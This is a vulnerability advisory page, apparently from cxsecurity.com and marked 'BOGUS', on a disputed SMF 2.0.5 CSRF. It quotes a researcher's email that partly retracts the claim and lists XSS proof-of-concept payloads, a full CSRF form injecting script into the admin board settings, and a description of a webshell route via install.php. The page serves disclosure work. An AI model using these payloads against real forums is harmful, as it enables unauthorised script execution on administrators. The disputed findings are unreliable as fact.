WARNING! Fake news / Disputed / BOGUS

SMF 2.0.5 Cross Site Request Forgery

2013-09-24 / 2013-09-25
Credit: Henri
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

- BOGUS NOTE ------ Actual error message for me: "Your session timed out while posting. Please go back and try again." I'm really sorry about this. I even tested using different computer so I don't know what I previously did wrong/different. Thank you for correcting this. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Henri Salo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Upstream is CCd so they can and should reply in case I made errors in this email. Could not reproduce this issue: http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt Multiple XSS issues in fixed in ./Sources/ManageServer.php by changing addslashes to preg_replace. I don't know who reported these or if these fixes are related to vulnerabilities listed below. From http://hauntit.blogspot.co.uk/2013/04/en-smf-204-full-disclosure.html """ First of all, let's check a local file include vulnerability. If admin will not delete the install.php file after installation, attacker is able to run command and compromise the server. Idea is simple. User who is able to put php-file (with webshell) at SMF-installed-server, can exploit a require_once() function to get a shell at remote host. """ No CVE as per installation requests user to delete install.php and offers easy way to do it in the installation process. Please comment if you feel otherwise. Did not try to reproduce this issue. Probably not the only issue if user does not delete install.php file. XSS in index.php?action=admin;area=manageboards;sa=newboard;cat=1 "board_name" Requires admin account PoC: "><BODY ONLOAD=alert('XSS')> Verified in 2.0.4 Not fixed in 2.0.5 SMF guys, this CSRF should help to verify this issue. Can you fix this in next release? Contact me in case you need help. <html> <body> <form action="http://example.com/index.php?action=admin;area=manageboards;sa=board2" method="POST"> <input type="hidden" name="boardid" value="0" /> <input type="hidden" name="new&#95;cat" value="0" /> <input type="hidden" name="placement" value="after" /> <input type="hidden" name="board&#95;order" value="1" /> <input type="hidden" name="board&#95;name" value="New&#32;Board" /> <input type="hidden" name="desc" value="&quot;&gt;&lt;BODY&#32;ONLOAD&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" /> <input type="hidden" name="profile" value="1" /> <input type="hidden" name="groups&#91;&#93;" value="&#45;1" /> <input type="hidden" name="groups&#91;&#93;" value="0" /> <input type="hidden" name="groups&#91;&#93;" value="2" /> <input type="hidden" name="dummy&#95;834674" value="" /> <input type="hidden" name="redirect&#95;address" value="" /> <input type="hidden" name="count" value="on" /> <input type="hidden" name="boardtheme" value="0" /> <input type="hidden" name="rid" value="boards" /> <input type="hidden" name="e2b8c5b3437" value="bdcc798a0a86fa141da538f7c3a6ec42" /> <input type="hidden" name="no&#95;children" value="1" /> <input type="hidden" name="cur&#95;cat" value="1" /> <input type="hidden" name="add" value="Add&#32;Board" /> <input type="hidden" name="moderators" value="" /> <input type="submit" value="Submit form" /> </form> </body> </html> XSS in index.php?action=pm;sa=settings;save "sa" Requires registed user account POST PoC: "><img/src="x"/onerror="alert(123)">< Verified in 2.0.4 Fixed in 2.0.5 --- Henri Salo

References:

http://cxsecurity.com/issue/WLB-2013090164
http://cxsecurity.com/issue/WLB-2013090110
http://packetstormsecurity.com/files/121391/public_phpInjection-smf204.txt
http://seclists.org/oss-sec/2013/q3/657


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top